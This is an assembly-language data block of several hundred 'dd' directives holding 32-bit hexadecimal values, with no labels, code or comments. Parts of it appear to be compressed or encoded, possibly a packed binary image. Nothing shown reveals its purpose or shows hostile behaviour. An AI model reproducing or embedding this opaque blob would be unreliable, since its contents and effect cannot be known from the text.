		dd 7F202102h, 0A43C0017h, 3674C7Fh, 4A001062h, 4F50440Ch
		dd 71D78814h, 79570089h, 54520F1Dh, 3307F1D2h, 1985CAD1h
		dd 48504AF0h, 9D580012h, 8FC21008h, 0F21F5242h,	4B423F47h
		dd 0E04663C7h, 7891457h, 75065870h, 0C483E009h,	9C1F5E1Ch
		dd 7FCEB8C2h, 51530018h, 105897Eh, 3D83C931h, 0E803EA6Ch
		dd 17007D04h, 868A4E0Bh, 3676E0h, 7589AFBAh, 47419C07h
		dd 86B3F93Bh, 2FFC8FEBh, 12C800B4h, 4877F08Bh, 801D5A6Ah
		dd 7480FA70h, 0F4430EFDh, 0E06C0F33h, 0C0C0C806h, 2455E5D1h
		dd 1AC6BE1Ch, 2918A784h, 0AFECF4C0h, 0B814009Ch, 8C2EFE41h
		dd 25078A13h, 9DE7048h,	11587B0h, 0B6B224C2h, 0E6840045h
		dd 0DA490A0Ch, 281C100Fh, 3440605Bh, 584E76h, 41802D84h
		dd 49E6C1F0h, 2E390500h, 5D2453EFh, 33FB000Bh, 1E9245AEh
		dd 6101B994h, 0C6810834h, 1F04A7Eh, 0F2120024h,	6302800Eh
		dd 0B001EE2h, 9E1AEBC5h, 1328921h, 42347C2Ah, 0D0E133F9h
		dd 7079AAF8h, 8B0C463Eh, 80ACDE6Ah, 0B45BE0A5h,	0A1F300E7h
		dd 2E49FB30h, 0DE07BCAEh, 0A9687736h, 58CEC4BCh, 6439B5ABh
		dd 1E41E780h, 84F19A4Ch, 51F94600h, 0A074A834h,	385200E9h
		dd 8E853A14h, 680108F3h, 0CA7A3CE3h, 4E80F2E8h,	23FBE1FAh
		dd 11019C46h, 1D1832A9h, 50BB8E42h, 3D1E00FFh, 59FCCE2Bh
		dd 0C0901A1Ch, 31EF1F00h, 562823BFh, 0EC2C0043h, 34798D30h
		dd 3800F20Fh, 6A3CE437h, 7D40C8h, 21AF4491h, 4C46FE48h
		dd 8D50FC00h, 0B50A5459h, 0C6F80055h, 0EA2F58C8h, 0FA0F950Ch
		dd 43ABF66Ah, 0C8325C94h, 774DBDF8h, 60BE00F4h,	0F6A52EA6h
		dd 0F00FAA72h, 0E06459C2h, 89F45F36h, 0BE391EF9h, 4B2E4068h
		dd 356CA2F0h, 3E706400h, 4376A3DCh, 0F2ED0078h,	24B4621Dh
		dd 10015057h, 21FBF3A7h, 8081846Ah, 8862B25Dh, 0D3F9F41Ch
		dd 8C1F72FAh, 325FFCCAh, 0A540905Fh, 1B94D1FFh,	359802A2h
		dd 887A9C44h, 0A41011E0h, 415FBA00h, 824E911h, 7F7C0025h
		dd 86A83554h, 7B03A9BFh, 0AF6B0515h, 1EA90DFh, 77900E8h
		dd 0AC3B480Dh, 0B00A485h, 0C66FD7FCh, 0B0237244h, 0B09000E4h
		dd 0B5F1CBE5h, 5600EFC5h, 0AC6AC41h, 0EE051BDDh, 92431D39h
		dd 0E55EC76Eh, 0E9E69003h, 2500E428h, 42ECAE04h, 2AD2B8h
		dd 9458421h, 588DBC2Ch,	8E089A00h, 0D3FCC043h, 23FA47h
		dd 0FE21D6C4h, 0EFC8901Ch, 8C491005h, 0A200CCB2h, 46160A66h
		dd 0BBAC30D0h, 0FED42132h, 80F4233Eh, 10EBD891h, 9C81E1Fh
		dd 6A8877DCh, 0EE00000h, 0CC1B87B3h, 0F87CE42Ch, 38F48E0Ah
		dd 1BA21C3h, 0C152383h,	4409EC91h, 80C81F40h, 8EA1BF26h
		dd 2EF40064h, 21838B92h, 0D60082F8h, 1DCA62C1h,	3F74FCE5h
		dd 0F93DA235h, 315D0187h
		dd 76FB7028h, 253F39A5h, 8650F17h, 8B4BAB29h, 1AA1058Eh
		dd 491EC7h, 443D1466h, 56A4818h, 20117F00h, 518D71BAh
		dd 0A21E280Ah, 3000FC2Ch, 0DD34883Fh, 0AA380011h, 46D43C23h
		dd 8DFEA840h, 0B482F8E5h, 2E005DF2h, 3750C873h,	0F0BE0Dh
		dd 0FE545884h, 2CBD2499h, 0C4818B00h, 0C1CF548h, 0C8C70EBFh
		dd 40FFC0FCh, 2148AD4h,	3F26B928h, 88009B31h, 0C1080B54h
		dd 5F7500E8h, 0A6D1E6EAh, 48076E32h, 0D0AB7224h, 6815FF10h
		dd 0EE75F5h, 0DC74E21Ah, 66840211h, 0F4BEC700h,	0E31E909Ah
		dd 0FF500014h, 0C1E0166Fh, 320005C0h, 49420902h, 0F5F675h
		dd 0F1FFDC0Eh, 80C08330h, 0D2000A7Fh, 0E3672674h, 212354h
		dd 0DB310353h, 0C3301A8Ah, 0E80050EEh, 332F8DA9h, 0B75DF9h
		dd 8A58F12Bh, 305BEB5Fh, 9C964D00h, 7EE48182h, 0EEFA0938h
		dd 0B0800F03h, 0C62FC241h, 8F06EF3Ch, 60C70E07h, 43C5C105h
		dd 0B87EE029h, 0CC00180h, 70410D80h, 0C1E440CDh, 0FD9881CFh
		dd 0A1C0E76h, 0CB83CAE1h, 88010BE0h, 0F09C0C9h,	0C8410880h
		dd 18EED8EFh, 0D9CF198Eh, 7C11BC0h, 0DA1D81DBh,	1E871A40h
		dd 0DF20DE87h, 3D011F80h, 1DBBC0DDh, 0DC411C8Eh, 0D4C11401h
		dd 40D5C081h, 0D7004CB0h, 1E8017C0h, 0E8D64116h, 0F012ECD2h
		dd 0D31C0013h, 0D1C11101h, 3F00D081h, 3F089A0h,	1D8030C0h
		dd 0F14131h, 0EF3C133h,	400EF281h, 4E360F32h, 0F78EF6h
		dd 0C0F50137h, 1C49B035h, 1F44134h, 81FCC13Ch, 3D40C0FDh
		dd 0C0FF0103h, 0F53E803Fh, 0FA37A687h, 3B713A57h, 39C0FB38h
		dd 81F90FC1h, 0E02040F8h, 0E8D9A328h, 0B5421128h, 0C0EB0100h
		dd 412A802Bh, 0EEF039EAh, 2F3B2E3Ah, 2DE0EF0Ah,	81ED00CDh
		dd 568040ECh, 24C0E418h, 1F41259Ah, 2709E5h, 40E68184h
		dd 2207E026h, 0E3F0F698h, 1662326h, 8021C0E1h, 0F5E04120h
		dd 0FD60FDA0h, 0E4A1D961h, 0C1000363h, 40A281A3h, 838462h
		dd 0A7C3A629h, 0A50167C0h, 8065A2A0h, 0A441641Dh, 0ACC16C07h
		dd 40AD8100h, 0AF01096Dh, 33016FC0h, 0D5AE416Eh, 0E46ADDAAh
		dd 0AB700E6Bh, 0A9C16900h, 4038A881h, 783C3968h, 0B938B83Ah
		dd 0BB017900h, 7A807BC0h, 0FDBAAAA1h, 0DC7EFDBEh, 0BF70387Fh
		dd 0BDC17D01h, 7C40BC81h, 0C0B4DE80h, 41758074h, 77E0B518h
		dd 181B7CEh, 837640B6h,	0C8B2C372h, 7310C0B3h, 712EB101h
		dd 0B0410EA3h, 90C15083h, 4091CE00h, 0C0930151h, 41528053h
		dd 96779275h, 571C5679h, 5501970Eh, 948195C1h, 540920h
		dd 5CC09C01h, 41385D80h, 5F009D70h, 9E819FC1h, 1CE05E40h
		dd 9D9AF05Ah, 0BE5B189Bh, 5907C099h, 98415880h,	48F788F7h
		dd 896149F7h, 0CEA64BE0h, 408A0067h, 0C34E834Ah, 8F068E72h
		dd 8D014FC0h, 804D07CEh, 418C414Ch, 184C144h, 0B1704085h
		dd 47C03087h, 864146CEh, 42EE82EAh, 0E0043F2h, 0C1CE1E83h
		dd 1C1C3381h, 0C05E6FECh, 0E3895207h, 0FC09E4F1h, 8058C59Ch
		dd 60823565h, 9D503D5Dh, 0C8311600h, 6141C9AEh,	804CB23Ch
		dd 4108520h, 48530E84h,	0F3E18BBh, 0E088A203h, 5BC0361Dh
		dd 0DC00899Dh, 0F1BD595Ah, 729C138h, 230B413Ah,	0E304624h
		dd 80211F3Bh, 0DF3D7309h, 0A29D8Ch, 0AFA99FA3h,	380B5F9h
		dd 0C7167E00h, 13C96405h, 0F8775A70h, 896803BDh, 0B1EB1190h
		dd 85E01648h, 5A740091h, 0B2C070FBh, 342EA101h,	0AF00C9F4h
		dd 0D36458B5h, 0CFE83FD6h, 300D6380h, 0F0456FFh, 0E9B42E00h
		dd 141AD866h, 0A15B05E8h, 0C72BC61Eh, 565200A8h, 0FC000251h
		dd 3B248EBAh, 0E8D59Ch,	0B0C4DFEh, 0B0C230ACh, 6F02FF00h
		dd 8C600673h, 7F3009Ah,	0C8FEC1A7h, 49008175h, 0E8D4C909h
		dd 84136Fh, 29AE5A5Fh, 58186038h, 0B8FF4E00h, 105DC598h
		dd 45EE0191h, 0A80543ACh, 42F8FBD2h, 0E4035528h, 86F4F861h
		dd 0E806A6FCh, 0F2D70084h, 0D05C1F5Dh, 0AC0055C6h, 737A063Bh
		dd 60FF66h, 2BC17001h, 462C54E8h, 0F825EF00h, 0A505C0Ch
		dd 0B3150072h, 0E8868D18h, 2B7E48F3h, 0C64A7F00h, 738E65B9h
		dd 0DB8500C1h, 0B16A1176h, 8A00DE7Eh, 0D696D274h, 0E120AFh
		dd 0B5758D57h, 98104B50h, 0CF04B900h, 1E95CA5Fh, 0B07A0033h
		dd 701F4255h, 0F6003DC9h, 5D47FE80h, 10CB01h, 5B11D76h
		dd 77A33FB0h, 65553C00h, 67579854h, 38CA004Ah, 458BD11Dh
		dd 0CC3E1E96h, 0A9718086h, 29EC520Ch, 412E3EDAh, 0E8ABF88Fh
		dd 0B2FDA7A0h, 1B0BF7A1h, 4EAE110h, 398397DEh, 90588848h
		dd 0BDE46Ch, 4A3D455Ch,	0F380DEB8h, 23D6F700h, 224997F2h
		dd 3E41F0Bh, 7567C0C6h,	0FFC35007h, 81250401h, 86D75CC2h
		dd 0F91CF8h, 0F5F14A38h, 3739BDD0h, 5994C100h, 84D1B02h
		dd 55891FE2h, 0F264C0C4h, 58BAF371h, 0D4399124h, 0EA11803Fh
		dd 125DEECAh, 0C381000Ch, 0F1C923AEh, 0F00E392Dh, 0A3F9BA86h
		dd 0F83ADE7Fh, 0ECD9B116h, 2A050310h, 6F52C1E2h, 570914A0h
		dd 0F01EBAF6h, 0D4AEA5F7h, 25AE1201h, 20E02EB3h, 71950F1Ch
		dd 70EF29ACh, 0A410050Ch, 424E083h, 9D891EABh, 2888004Bh
		dd 4A965C25h, 2C41D0FFh, 0C8F70C8h, 878130E1h, 12003489h
		dd 10F09780h, 79B88BA0h, 0CB0947Fh, 72838250h, 4C29AC3h
		dd 6A100105h, 0FA53F254h, 0EC42F1ACh, 96C31820h, 0E9F11563h
		dd 5086F92Bh, 922C8809h, 4AF3DCA0h, 0C4FAFBFCh,	8270E18h
		dd 85561Ah, 22F91EACh, 6FB1F8C3h, 91D58CA1h, 28224EADh
		dd 813C4744h, 86881740h, 0B0169039h, 6F244222h,	38CA1031h
		dd 202A91ADh, 0D323410Ch, 1CA548C5h, 5348700h, 3CFBE910h
		dd 44198CD8h, 580D4108h, 41C006CDh, 0C9AA0430h,	129280FFh
		dd 20AB4D02h, 6033F2F7h, 1EA1F3E3h, 0F0080469h,	0DCEC64AEh
		dd 0F0942900h, 0B00B2463h, 3E93F8E9h, 502672E1h, 84100016h
		dd 0B22A3841h, 6DD63Eh,	17574288h, 1E95136Ch, 2BCA59h
		dd 0AB121044h, 6978BF25h, 90BA5431h, 20FC5AB4h,	0A92CC828h
		dd 1D017226h, 0B49D9255h, 0BD99E1FDh, 30C2D93h,	18592288h
		dd 63217D40h, 56718CE3h, 0F73088F9h, 0F84A66A9h, 4BC83CD1h
		dd 2008905Bh, 894B1850h, 494576D4h, 940BCB00h, 2159F15Eh
		dd 1C100306h, 8D3AAC4Ah, 62F031D3h, 2C145BF3h, 1E8C7F0Ah
		dd 0B25F2F91h, 84F08E80h, 90220F5Dh, 241CCF16h,	8DCAA84Fh
		dd 0C5F139Ch, 189CE695h, 0F1224A78h, 5E0D3C0Ch,	21F8952h
		dd 9FC4DF2Bh, 0F725C712h, 0B471F079h, 0EB3FA22Ah, 3C889F57h
		dd 4BE0544Ch, 0D5898018h, 20953488h, 0C248CA51h, 445507F3h
		dd 0E0FEAFBEh, 0B3A84A2Ch, 67E2FE95h, 9712B008h, 2441F3BCh
		dd 569D681Fh, 15E83C0h,	7479706h, 84E5304h, 5D0CD0C0h
		dd 0E900B89Ch, 429168E8h, 2F281187h, 50FE98A1h,	9EDD003Bh
		dd 38C95258h, 0D14C1FC8h, 500A71D0h, 7425EC21h,	625D4600h
		dd 0EF40FF92h, 5AC113F7h, 492A0001h, 32E8048Ah,	980AE600h
		dd 3B0F6081h, 0E9D10027h, 2F428F8h, 0D000318h, 48B6649h
		dd 0E433A34Eh, 89C3394Ah, 2E0C4F03h, 20A0AF61h,	1E00CC8Eh
		dd 288F1C8Ah, 1DC0F2EBh, 0C0787BB7h, 9704F44h, 0D70120C2h
		dd 9CB8B0B2h, 0D8804365h, 0E46CA350h, 3EC212Ah,	0B80A7300h
		dd 0EA354A30h, 0C3F649h, 6BB05975h, 0F1500C40h,	0FBBF8E00h
		dd 4409042Dh, 0AD291D41h, 0F5118022h, 740DCCE0h, 8783AA00h
		dd 57F2380Fh, 17900704h, 2FA30852h, 0BE50409Fh,	0C0D41154h
		dd 0B0F85E06h, 42B15h
		dd 528D648h, 0CDD2B708h, 399CA707h, 59C04420h, 7FF5B85h
		dd 0A8514A9Fh, 0E8B0E068h, 0EB007512h, 26D805D1h, 8D4034h
		dd 0B480A6C3h, 6908F9A2h, 8B96A900h, 0DABF93A8h, 303BE074h
		dd 0FB7473DFh, 0CB7DFC56h, 894CF101h, 4E0E32D7h, 2ADED8h
		dd 26EB6472h, 0B76A39CFh, 0EA931000h, 1A3FCB12h, 0C214053Bh
		dd 80C9D7A3h, 0ED172268h, 9EA94400h, 451B100Bh,	885C00FDh
		dd 0A1BEAB53h, 2E7E97E8h, 1CCC8E60h, 7F051B0h, 24A86B9Eh
		dd 0C68980A5h, 3200B938h, 0F7D2AB61h, 2286F1h, 1931BBF0h
		dd 6D1ED0DFh, 8A76A47Bh, 0D9A5201h, 0A8F203F4h,	301130h
		dd 4B90351Fh, 58BFFB83h, 7DB5FC2Eh, 4B64A80Eh, 80D58FEAh
		dd 100E98F9h, 41908Ah, 18721460h, 7576AEF2h, 2C516E00h
		dd 344F10A6h, 1FF33BFEh, 0DE595F80h, 0F8898BE3h, 0F6627501h
		dd 105B9064h, 1CE408E0h, 0DEF4CCFAh, 8F969Fh, 3E4146C1h
		dd 9600BDE7h, 2BAF9DBEh, 4509AAh, 0F56C5730h, 0F077C92h
		dd 1A54B600h, 14BB0FFh,	1DF900D1h, 77830379h, 0DF00897Ch
		dd 0F450E546h, 90C1BB3Ah, 754E0065h, 0E4E23ED5h, 0C7006DE7h
		dd 305685AFh, 7720B3D4h, 71463188h, 0D98C105Ah,	0B784D8A8h
		dd 71558BDh, 4F77C9CBh,	29B2A04Ah, 860039A7h, 92975760h
		dd 0ADE940h, 7CB1DD14h,	4D1E61C7h, 0C3F5A103h, 8921E84Eh
		dd 0A5C0F7A7h, 82B818h,	1A2C09BFh, 46550C73h, 8065B300h
		dd 0D9452023h, 0BB5F01E4h, 963540A7h, 3DA3D8E6h, 468AC700h
		dd 66576EFEh, 0DBD00029h, 1DD6906Ah, 0F8003983h, 42380674h
		dd 5BFCA48h, 8DEF7D53h,	5BE30070h, 0F0A6AECh, 0DB06C61Ch
		dd 0C9850039h, 2EF7047Dh, 0FBB300D9h, 0BDC18B03h, 0F5003E0Ah
		dd 0DDFDA599h, 169506h,	25B9461Eh, 0E6E9F7F9h, 0B16BE000h
		dd 9472712Bh, 582D4864h, 92A2007Fh, 702F34F1h, 9E3CB8E0h
		dd 0E6199247h, 4544B2C0h, 48400346h, 4C4B4A49h,	4F4E4D80h
		dd 52515000h, 55605453h, 59580EE4h, 6200615Ah, 66656463h
		dd 6968671Ch, 6C6B6A01h, 0C5706E6Dh, 172E071h, 76757473h
		dd 0C0797877h, 3103307Ah, 35343332h, 38378036h,	2F2B0039h
		dd 2624203Dh, 0B2702928h, 2C7D7B03h, 802D3A3Bh,	2A5C5Fh
		dd 0A092722h, 79AED30Dh, 0F1E93800h, 0A1B9F27Eh, 624800ADh
		dd 0FDC6C95Ah, 6A39F53Ah, 7BE68025h, 36FF4212h,	35D000AEh
		dd 0B501BACBh, 0C90371D9h, 68F4CD81h, 626FC8C4h, 31CE01EFh
		dd 5AA1BC4Fh, 45D2F0EDh, 1532000h, 15602D65h, 7CD8003Bh
		dd 2CB8B25Eh, 6E000A8Dh, 0F67A5B35h, 3CB4C48Bh,	0D700CF48h
		dd 3F443DFFh, 4900C0B7h, 89059688h, 0EEFE240Ch,	0EF041FD0h
		dd 9E5CEF4Ch, 8127383Bh, 97DDB81h, 25E0F424h, 0FD010037h
		dd 982A262Ch, 81009CB1h, 0B902E0C1h, 1922703h, 1483D016h
		dd 70793787h, 0E700BC0Ch, 9B5F25DCh, 0F693BB0Ah, 18EE006Bh
		dd 4F7E6EEDh, 9700DBB0h, 0E2C16010h, 1D0864h, 0D2E0AE07h
		dd 47D1030Bh, 75484B00h, 662E52EEh, 8B0D000Ch, 28A544Ch
		dd 887A4049h, 5F430600h, 0C2CAAB04h, 0DC3F03A9h, 4C8A8934h
		dd 0C12776F8h, 0C0734Ch, 0EF88348h, 0ACD62Ah, 527F9FC6h
		dd 55D768B1h, 927E2305h, 2980B2FBh, 0B0ACDAEEh,	1CB107D5h
		dd 8A08B8h, 80FF0354h, 7230FA00h, 390AC505h, 25220076h
		dd 0E9CC6040h, 3B002781h, 216C165Fh, 16C44A09h,	754158h
		dd 57DA7895h, 0CE3FDFF3h, 8415014Bh, 80D45810h,	0F4EAD1C0h
		dd 7CD20185h, 8A420312h, 1DA2008h, 881EA802h, 600EE418h
		dd 202C06Fh, 4FEF754Ah,	3BC0AAD8h, 0FD0012FCh, 0A8D703CBh
		dd 3D44AC45h, 74B406h, 0FE53C08Dh, 4C41B398h, 85EA4D77h
		dd 0EA304E00h, 4FC4F073h, 48810017h, 0A11C023Ch, 0F6EEA031h
		dd 0FC388307h, 5F90850Fh, 7954101h, 849FA6B0h, 0D19F08Ah
		dd 0B40F66CCh, 0B3BB5BBFh, 1603B400h, 0D7FB04h,	0C758560Eh
		dd 1FB5FF28h, 0DA6CF600h, 8C925417h, 158E0067h,	0EF5B108Bh
		dd 8901322Ch, 59BC8531h, 0C480BD83h, 0AA0929D2h, 28748B84h
		dd 4BF62103h, 0B0143110h, 76CE9FC7h, 347C011Ch,	89EB15C8h
		dd 0A541F4D9h, 6457B900h, 0D08513BBh, 826600FDh, 20DC4414h
		dd 0D40308F7h, 65050188h, 12B5F01Bh, 0EA07003Dh, 0B096891Ch
		dd 0C500A113h, 1FB26BC7h, 9A05Ch, 0F00C5088h, 16B9FFEEh
		dd 0C086CF00h, 3024408h, 41900CBh, 0F9E28F87h, 0FD035A8Eh
		dd 44A0CA8Ch, 620F805h,	0C3A1002Ah, 0F277B81Bh,	1F004268h
		dd 0C2B2C45h, 4D00843h,	0C68B6C29h, 9701C0A8h, 2100C0EDh
		dd 20FA2EE1h, 3C3D1368h, 0C2809101h, 270A4CCBh,	52075FC4h
		dd 2D8ED75h, 0E008BBF3h, 0D78468h, 707417A4h, 0C4218CF2h
		dd 0DA4A4C00h, 2046C6CEh, 0A57754h, 8B104456h, 6AE047ABh
		dd 1560E6F9h, 71CC029h,	0CC051D1h, 0CE6E52EBh, 508B0BACh
		dd 345E479Dh, 438D1300h, 0E690AE14h, 3A1700E8h,	53D20167h
		dd 7100B1D9h, 3F1351B9h, 104C228h, 49ABC995h, 3A806416h
		dd 724B74B0h, 0E16C0013h, 904A9948h, 0AF0092A8h, 844D2B8Ah
		dd 41FD5Eh, 94EDDDB2h, 5C380811h, 852EB900h, 69736353h
		dd 408F3EBBh, 20523A0Ch, 0EB094318h, 12E70C7h, 982C15BCh
		dd 7654F8D7h, 7ABD0056h, 0CCDE9583h, 960F515Ah,	0C0B768A8h
		dd 15ACBE42h, 3A61011Eh, 8ACA7402h, 7C06E8A0h, 44406301h
		dd 34EBF04Ah, 0F5AEC4h,	106962CDh, 0A0B54E06h, 4A557900h
		dd 376C49F4h, 0CAE209h,	5058C2FBh, 0B2F9B56Ah, 97D56B00h
		dd 0ABFF92ADh, 51809F4h, 46007535h, 0F04DA9C1h,	39A8E105h
		dd 8F80B1C8h, 3B5C230Eh, 151D5442h, 8AEB8012h, 0FCF82F74h
		dd 0D200A87Bh, 0CF2B65DEh, 0C9AC4Ch, 0A06D5AFAh, 1DE8BABBh
		dd 7B7FE924h, 0FEEB6000h, 24D5EFh, 0AC5AB68Fh, 5FD6E3DFh
		dd 0D3FD8400h, 704EFABDh, 64040049h, 0C15C75D2h, 0FE0FC0B4h
		dd 0FD306909h, 8D354341h, 0F07FC89Dh, 8B0B629Fh, 0F08FE8C3h
		dd 6609006Ch, 832C03C7h, 67A43C2h, 77F080Eh, 0F03B8081h
		dd 6C0C4Fh, 100E8FC0h, 6A300245h, 2B2F4C01h, 323E56C3h
		dd 7F132CF0h, 121C2C18h, 8001071Ah, 20602E1Eh, 738B0EC0h
		dd 69031404h, 0E4C0930Ch, 0F29FEh, 652C6EE0h, 0B58C0468h
		dd 8043C43Eh, 93207486h, 380401Ch, 17758D38h, 3F86013h
		dd 8EC5A96h, 0A5B91E1Ch, 0AFC79342h, 0AEBD60CEh, 28CC0E2Dh
		dd 50608454h, 9D92A7E7h, 0EC3A3E03h, 0D83C8273h, 7563441h
		dd 215B0F54h, 2A01F0E9h, 280332EAh, 190EF109h, 6553E8EBh
		dd 0FA33014Fh, 57502FC4h, 48D7D0EFh, 0E885402h,	0E013BEACh
		dd 563E163h, 72446C61h,	657080ECh, 90001630h, 453A4325h
		dd 37D0818h, 1A607150h,	0A8B38410h, 0C53099B0h,	0E116D800h
		dd 0C6FFDCFBh, 0DB450337h, 8D43E209h, 1440ACA0h, 5C62DA00h
		dd 753AD908h, 0F9B400D8h, 0FE98786h, 0A190F14Fh, 3522AF2Ch
		dd 0FECC003Eh, 0E680794Ch, 7525005Ah, 0DBB37DDFh, 0F700AFA4h
		dd 35046AE8h, 788FB10h,	2E25467Fh, 0CE4DC306h, 673FE4B8h
		dd 0DC09E000h, 19081F8Ah, 35914C51h, 0B6A3E800h, 7532AFB8h
		dd 0E009DC00h, 8BA8A82h, 0CD5B0055h, 0EC58056Bh, 0C02C514h
		dd 12F35FD7h, 25764030h, 426B6FA2h, 2D520D20h, 582684A1h
		dd 0E009D8Fh, 0D118173Bh, 3FAB1C19h, 40A08087h,	569703EEh
		dd 83E4BA00h, 2AAFE327h, 333E40Ah, 2F9952D2h, 7DD386D6h
		dd 0F661CFA8h, 0D77A7C00h
		dd 0AB24F8C1h, 0C53700B8h, 6F27865Ah, 0B7000F2Ch, 0F84D0B42h
		dd 9019F5h, 0D86DA893h,	1DF66BFBh, 0A128922Eh, 3E525805h
		dd 603C5282h, 7038997Bh, 1D887C72h, 36CC473h, 37644485h
		dd 0F0E31B0h, 4D541000h, 4965E16Fh, 0D866006Eh,	0DCBD6D72h
		dd 2200993Dh, 0B67A02A5h, 62904h, 4A0A9108h, 0BDF45898h
		dd 9009F300h, 42F820F6h, 0EF9600FAh, 878AC992h,	0A60088B3h
		dd 0F6410CFDh, 0E4734F72h, 64FB00E5h, 6CB6BAA4h, 0C800EE50h
		dd 40DB3332h, 0F00908h,	0F6FE9554h, 0D23D2D10h,	3C10600h
		dd 9AC08AC2h, 0FB1C0125h, 35B30732h, 884F30F9h,	4C79E700h
		dd 51C8D030h, 5D3B0043h, 7AB084Bh, 4E004254h, 0E7BBD665h
		dd 90147Bh, 8949966Ah, 0C424A297h, 390769B8h, 542134F6h
		dd 2F685160h, 85BC003Ch, 6C9138A5h, 15308CA2h, 576A0A90h
		dd 0E5F603D1h, 8D4272F4h, 84DF5F8h, 54936000h, 0DB53BD41h
		dd 0FDD6002Dh, 821068E2h, 44001F13h, 0FBC2FA71h, 0C4C753h
		dd 0E1367D25h, 0A17A5590h, 0A07C950Fh, 91F26552h, 4A204481h
		dd 3351260h, 13CAA497h,	51C131A5h, 0FA0CDC93h, 7596CC00h
		dd 0FF6A0D02h, 5EB500BBh, 534BB140h, 0EB00C30Eh, 887E801h
		dd 39494F66h, 3880F70Ch, 0B960F1B8h, 1E00562Ch,	20306809h
		dd 87C91h, 0FC05CC23h, 0BEC35053h, 0CA569400h, 54951048h
		dd 967050E2h, 0EC51EC9Ch, 0CEB4000Ch, 1142831h,	1979D08Ch
		dd 8556601h, 2C5211C8h,	34C6F4h, 6A957957h, 1AE8611Ch
		dd 54F10500h, 66B1772Fh, 4B10005Bh, 0BB80AB50h,	0E224830Bh
		dd 7500B860h, 0FD48FF09h, 521A0043h, 0FAE0C4Bh,	0FE3FE05Ah
		dd 5D9505BDh, 86C7A838h, 52001F7h, 7D1277D2h, 14F600D6h
		dd 312DF851h, 7C17D82Fh, 7C1C107Fh, 438341C0h, 53D642h
		dd 1D35AF55h, 75B90677h, 46EE597Eh, 1C78C201h, 405CFFD1h
		dd 25D7D4h, 2AA2E05Fh, 0F6332D47h, 800E773Ah, 5260538Ch
		dd 27187Ah, 30A8214h, 0C444670Ch, 40E30425h, 1462680h
		dd 0D962754Fh, 0E0FBE881h, 9A00DEB8h, 44C55DA5h, 0D6A895h
		dd 0FC0C286Bh, 4025C737h, 1FF5242Ch, 43C1AC1Fh,	75477EFh
		dd 0EA9F5BC4h, 17587BF4h, 3B4B1Ch, 0C54E8F5Ch, 0AAF62073h
		dd 0E2C1D60Bh, 18B680E0h, 126D595h, 552489CFh, 8046D05Eh
		dd 5B1A960h, 3B47E44Dh,	1000EA75h, 42208D1Ch, 6577484Ah
		dd 0DC017C00h, 245303D0h, 0C7D30090h, 0C280289Ah, 34008918h
		dd 12FF6982h, 97A859h, 0E82120B9h, 25B24647h, 8A904E00h
		dd 7EFD50ACh, 78420058h, 82057C14h, 84001C3Ah, 56A8680Ah
		dd 9396D1h, 8D3E5043h, 3B123714h, 0FF7DC200h, 17BBEEA5h
		dd 184B0099h, 0C6ED910Ch, 6002C7F5h, 0E12AC1B3h, 4286002h
		dd 92B0002Fh, 7B295C10h, 5F3E1C35h, 0CADCC5h, 30323102h
		dd 0E220A0Dh, 91F8C933h, 503B0B00h, 6017D1Ch, 4990408Bh
		dd 0D9D00C2Ch, 78C30014h, 7E7422A5h, 5700880Eh,	2ACA4452h
		dd 7D460Fh, 1A651792h, 6C7048DAh, 4B05400h, 72AB73A4h
		dd 89FE1Eh, 0A575E83Ch,	48433974h, 0BC218800h, 9CCED5CBh
		dd 475B0024h, 58FE5680h, 4B001F90h, 2381C1CAh, 942648h
		dd 3487D889h, 1B7E031Ch, 79177B7Fh, 0BC007D70h,	0F7C2DFEh
		dd 0C9130057h, 61F836Bh, 3701F11Dh, 3369FF91h, 28B248Ah
		dd 370090A0h, 5E2842E8h, 149C4700h, 0BA94FE18h,	24B60067h
		dd 0C93B4E0Ch, 89007240h, 4A609EEh, 18728A9h, 1EF4AF5Eh
		dd 0F0F5BF6Ah, 0F12CAC4h, 0DD003B91h, 0F3D51C4Bh, 0EAB33874h
		dd 7B8F26BEh, 80DE0407h, 2A81BC14h, 0BD0030D5h,	0E4255176h
		dd 0EB278Ah, 7F52B207h,	8B011CEDh, 5CB7E900h, 18D04825h
		dd 0D86000E1h, 0FA9755E8h, 8B00B051h, 0E2B83EC5h, 8E47CDh
		dd 0CA22FB2Ah, 10674F0h, 80FF8339h, 0C5E9107Eh,	0DD672Bh
		dd 638ACF94h, 14EAA04Bh, 52247D00h, 0E6518DBFh,	29BE002Fh
		dd 99FC6FB0h, 2301C996h, 88B5AC2Ah, 4A3069D3h, 5BB1007Ah
		dd 40094224h, 2800670Eh, 35F89503h, 132163h, 1C4A7089h
		dd 762F3049h, 9900E6E2h, 4DC81A52h, 0D93C15h, 0AB65EB5Bh
		dd 481C2446h, 7C3D4A1Ch, 29405EDDh, 31C914D2h, 64900349h
		dd 7727DE2Fh, 0E83FE9E1h, 0D2033C07h, 0B8F1FECBh, 0F32BE045h
		dd 0E6AFC26h, 0C0722FCEh, 6429000h, 0F4004DFFh,	21BFBC75h
		dd 0C515ABh, 397F3728h,	0B4D08904h, 8B9A58h, 0DD947EF8h
		dd 750010Bh, 8B6FD28h, 61AEC04Bh, 0C9018451h, 93C5B82Ah
		dd 0A8D35424h, 0C7FE08h, 3A31536Ah, 0AC2F55F8h,	6FDF7C00h
		dd 5AE77D54h, 0D37F00F4h, 5DF25961h, 76181C44h,	832E6203h
		dd 93490078h, 0D2A40D0Bh, 42001317h, 36FF460Ah,	0C00364h
		dd 16EBF06Bh, 0CE059C90h, 0B2CB2B00h, 0BBB1460Dh, 0B7470136h
		dd 0A3CC8F8h, 0C43E075h, 0E56F6A00h, 0B81A577Dh, 8E736Dh
		dd 182C74D5h, 7E20055Eh, 3DF50B00h, 0CAF606ACh,	0EBC20069h
		dd 0F221932Dh, 5300CCD3h, 123054ADh, 7388048h, 34A75FEh
		dd 5F2800C5h, 0A5E4BBCEh, 291F058h, 0E74C4973h,	5A9CC010h
		dd 2E747BE2h, 3BC59C78h, 94883505h, 65D2C00Bh, 0C57B675Ch
		dd 0B09A9602h, 60C88346h, 0BE8A1h, 0B8DCAF19h, 0FE52E251h
		dd 4A61B700h, 39D231C8h, 74880020h, 53F70424h, 59249212h
		dd 0A700865Bh, 61D0320Ah, 8FC32CB4h, 92F80076h,	5FF06209h
		dd 45A45900h, 74182851h, 3AF43C19h, 0ABEF7600h,	2029356Fh
		dd 0A3D7B00h, 25EA2B0Ch, 0E087B9Ch, 85E9A448h, 0C0D0F785h
		dd 8A184CD5h, 0C8FE8007h, 8DB0F627h, 0FCE1468h,	240E7DFh
		dd 10C7DC0h, 3F00DA57h,	2518EB4Eh, 4B43C8h, 0A7559682h
